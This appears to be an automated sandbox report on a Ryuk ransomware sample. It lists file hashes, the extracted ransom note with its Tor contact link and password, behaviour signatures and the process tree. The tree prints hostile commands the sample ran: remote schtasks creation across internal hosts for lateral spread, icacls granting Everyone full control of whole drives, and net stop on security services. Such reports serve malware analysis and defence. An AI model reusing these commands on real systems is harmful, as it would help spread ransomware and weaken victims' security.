Analysis

  • max time kernel
    144s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    30-03-2021 11:28

General

  • Target

    0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe

  • Size

    124KB

  • MD5

    b16db2ad22dfe39c289f9ebd9ef4c493

  • SHA1

    23ccb60927905eb9be2a9ee4230ebac0836b611c

  • SHA256

    0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892

  • SHA512

    5a95bda6dd3761e1a7967562c8dd1b5bf68ce7ac5e7a0c345465c012f9baa7f668080f9998cb29d8e45ba43adb3fd104ef62380818d2eab5ecf2a1e19e5b95e1

Malware Config

Extracted

Path

C:\users\Public\RyukReadMe.html

Family

ryuk

Ransom Note
contact balance of shadow universe Ryuk $password = 'CRAny5Nq'; $torlink = 'http://etnbhivw5fjqytbmvt2o6zle3avqn6rrugfc35kmcmedbbgqbxtknlqd.onion'; function info(){alert("INSTRUCTION:\r\n1. Download tor browser.\r\n2. Open link through tor browser: " + $torlink + "\r\n3. Fill the form, your password: "+ $password +"\r\nWe will contact you shortly.\r\nAlways send files for test decryption.");};
URLs

http://etnbhivw5fjqytbmvt2o6zle3avqn6rrugfc35kmcmedbbgqbxtknlqd.onion

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

  • Executes dropped EXE 3 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe
    "C:\Users\Admin\AppData\Local\Temp\0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe"
    1⤵
    • Drops desktop.ini file(s)
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:628
    • C:\Users\Admin\AppData\Local\Temp\slCCzZCZgrep.exe
      "C:\Users\Admin\AppData\Local\Temp\slCCzZCZgrep.exe" 9 REP
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2536
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.38 /TN 2wjHUJm /TR "C:\Users\Public\slCCzZCZgrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4928
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.40 /TN 6d1imEt /TR "C:\Users\Public\slCCzZCZgrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4020
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.27 /TN paLnS0U /TR "C:\Users\Public\slCCzZCZgrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4624
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.34 /TN BEblmdD /TR "C:\Users\Public\slCCzZCZgrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4580
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.23 /TN DzXZo8s /TR "C:\Users\Public\slCCzZCZgrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:5032
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /S 10.10.0.38 /Run /TN 2wjHUJm
        3⤵
          PID:7036
      • C:\Users\Admin\AppData\Local\Temp\CQPIdaNKblan.exe
        "C:\Users\Admin\AppData\Local\Temp\CQPIdaNKblan.exe" 8 LAN
        2⤵
        • Executes dropped EXE
        PID:212
      • C:\Users\Admin\AppData\Local\Temp\MCxUNeDehlan.exe
        "C:\Users\Admin\AppData\Local\Temp\MCxUNeDehlan.exe" 8 LAN
        2⤵
        • Executes dropped EXE
        PID:4436
      • C:\Windows\SysWOW64\icacls.exe
        icacls "C:\*" /grant Everyone:F /T /C /Q
        2⤵
        • Modifies file permissions
        PID:4532
      • C:\Windows\SysWOW64\icacls.exe
        icacls "D:\*" /grant Everyone:F /T /C /Q
        2⤵
        • Modifies file permissions
        PID:4544
      • C:\Windows\SysWOW64\net.exe
        "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5056
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "audioendpointbuilder" /y
          3⤵
            PID:4452
        • C:\Windows\SysWOW64\net.exe
          "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5020
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "audioendpointbuilder" /y
            3⤵
              PID:4752
          • C:\Windows\SysWOW64\net.exe
            "C:\Windows\System32\net.exe" stop "samss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4900
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "samss" /y
              3⤵
                PID:5036
            • C:\Windows\SysWOW64\net.exe
              "C:\Windows\System32\net.exe" stop "samss" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:5012
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "samss" /y
                3⤵
                  PID:5108

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • memory/628-12-0x0000000002DD0000-0x0000000002DD1000-memory.dmp

              Filesize

              4KB

            • memory/628-13-0x00000000035D0000-0x00000000035D1000-memory.dmp

              Filesize

              4KB